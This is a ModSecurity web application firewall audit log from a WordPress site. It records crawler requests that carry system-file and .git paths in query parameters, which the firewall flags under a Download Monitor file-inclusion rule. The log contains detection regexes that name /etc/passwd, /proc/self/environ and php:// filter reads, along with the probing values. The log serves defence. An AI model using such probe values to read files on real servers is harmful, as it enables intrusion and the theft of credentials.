File Manager

Editing File: /log/modsec_audit.log

{"transaction":{"time":"13/Mar/2026:00:12:05.990467 +0100","transaction_id":"abNIRYn1_YFiEGJpKphIDAAAAJE","remote_address":"57.141.20.12","remote_port":46302,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/n/ntconsole-50-w HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"6027c038adafa6e8152fc96dc40a4cf7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30442311"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6027c038adafa6e8152fc96dc40a4cf7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/ntconsole-50-w||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":6738,"p3":0,"p4":0,"p5":349,"sr":145,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:12:20.899148 +0100","transaction_id":"abNIUyz8c_poV-IkHVYQ4QAAAY4","remote_address":"65.109.118.212","remote_port":39002,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"4e930abdab4e0c3d63c1883e1cbc897f","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28804419","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"4e930abdab4e0c3d63c1883e1cbc897f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":280,"p2":5507,"p3":0,"p4":0,"p5":981,"sr":142,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:12:42.443501 +0100","transaction_id":"abNIaYy-eB0XhjfRE2kXAQAAAQE","remote_address":"57.141.20.8","remote_port":59744,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/2f/b464893d5fdc2fb5d832e3031ebef7f650d013 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"dba9cf5aa9da8aff5b2043fca4dc2c38","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29788882"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dba9cf5aa9da8aff5b2043fca4dc2c38","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/2f/b464893d5fdc2fb5d832e3031ebef7f650d013||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":326,"p2":7064,"p3":0,"p4":0,"p5":8094,"sr":167,"sw":0,"l":0,"gc":7715},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:12:46.376943 +0100","transaction_id":"abNIbYn1_YFiEGJpKphI1QAAAJA","remote_address":"57.141.20.2","remote_port":59986,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c4/eb70239f9a5ed28afc2b77aff23b91a083091c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"0d3ba3e315a6eb6edb8f54795d124c15","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"16789902"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"0d3ba3e315a6eb6edb8f54795d124c15","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c4/eb70239f9a5ed28afc2b77aff23b91a083091c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":196,"p2":4273,"p3":0,"p4":0,"p5":342,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:12:58.376646 +0100","transaction_id":"abNIeYy-eB0XhjfRE2kXJgAAARM","remote_address":"57.141.20.10","remote_port":59852,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/t/tvi920c-unk HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"56396b2491a2b9979fd42b589b37f459","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"26709948"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"56396b2491a2b9979fd42b589b37f459","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tvi920c-unk||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":283,"p2":5837,"p3":0,"p4":0,"p5":7840,"sr":142,"sw":0,"l":0,"gc":7516},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:13:01.785600 +0100","transaction_id":"abNIfIn1_YFiEGJpKphI_AAAAJQ","remote_address":"57.141.20.23","remote_port":41006,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d7/c8be9f08cbda1063efdd8094afd3693894271d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"0a681025ab02f7b8c57c383112005a74","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29069066"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0a681025ab02f7b8c57c383112005a74","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d7/c8be9f08cbda1063efdd8094afd3693894271d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":6927,"p3":0,"p4":0,"p5":374,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:13:30.183922 +0100","transaction_id":"abNImUosXgskzHvsnQCqtAAAAUU","remote_address":"114.119.150.95","remote_port":43490,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/150687451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"f28b505c2e2314c668b4c474ce364f7e","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29100078","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"f28b505c2e2314c668b4c474ce364f7e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":5032,"p3":0,"p4":0,"p5":289,"sr":156,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:13:38.910951 +0100","transaction_id":"abNIokosXgskzHvsnQCq4AAAAVI","remote_address":"57.141.20.35","remote_port":59908,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/Stp720pl.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.35","X-Forwarded-Proto":"https","X-Request-Id":"f98fb7da2eb5608172877224e04f5281","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30575112"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f98fb7da2eb5608172877224e04f5281","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/Stp720pl.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":196,"p2":4353,"p3":0,"p4":0,"p5":412,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:13:51.044915 +0100","transaction_id":"abNIroy-eB0XhjfRE2kXhwAAARc","remote_address":"57.141.20.3","remote_port":40700,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/a/att610%20cvis0 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"a4175d28c3ae119b960c094993292de3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18981373"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a4175d28c3ae119b960c094993292de3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/att610 cvis0||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":281,"p2":6478,"p3":0,"p4":0,"p5":391,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:13:58.913171 +0100","transaction_id":"abNItkosXgskzHvsnQCrLAAAAUw","remote_address":"57.141.20.25","remote_port":55602,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/ro/LC_MESSAGES/xz.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"e05ec849fb784c096b154ba47534c2c4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18457059"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e05ec849fb784c096b154ba47534c2c4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ro/LC_MESSAGES/xz.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":292,"p2":5869,"p3":0,"p4":0,"p5":411,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:14:21.692122 +0100","transaction_id":"abNIzYn1_YFiEGJpKphKHQAAAII","remote_address":"57.141.20.25","remote_port":41540,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/booking/booking.10.14.10.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"08ba339eb2d8826c0ce5f06f7ccac1e0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"16757999"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"08ba339eb2d8826c0ce5f06f7ccac1e0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/booking/booking.10.14.10.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":358,"p2":6421,"p3":0,"p4":0,"p5":331,"sr":153,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:14:22.982220 +0100","transaction_id":"abNIzicEc8PfaX_DCKLICgAAANI","remote_address":"65.109.118.212","remote_port":59956,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"56ebd9c669263920530adbf8d6cea786","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"17997469","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"56ebd9c669263920530adbf8d6cea786","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":274,"p2":8604,"p3":0,"p4":0,"p5":331,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
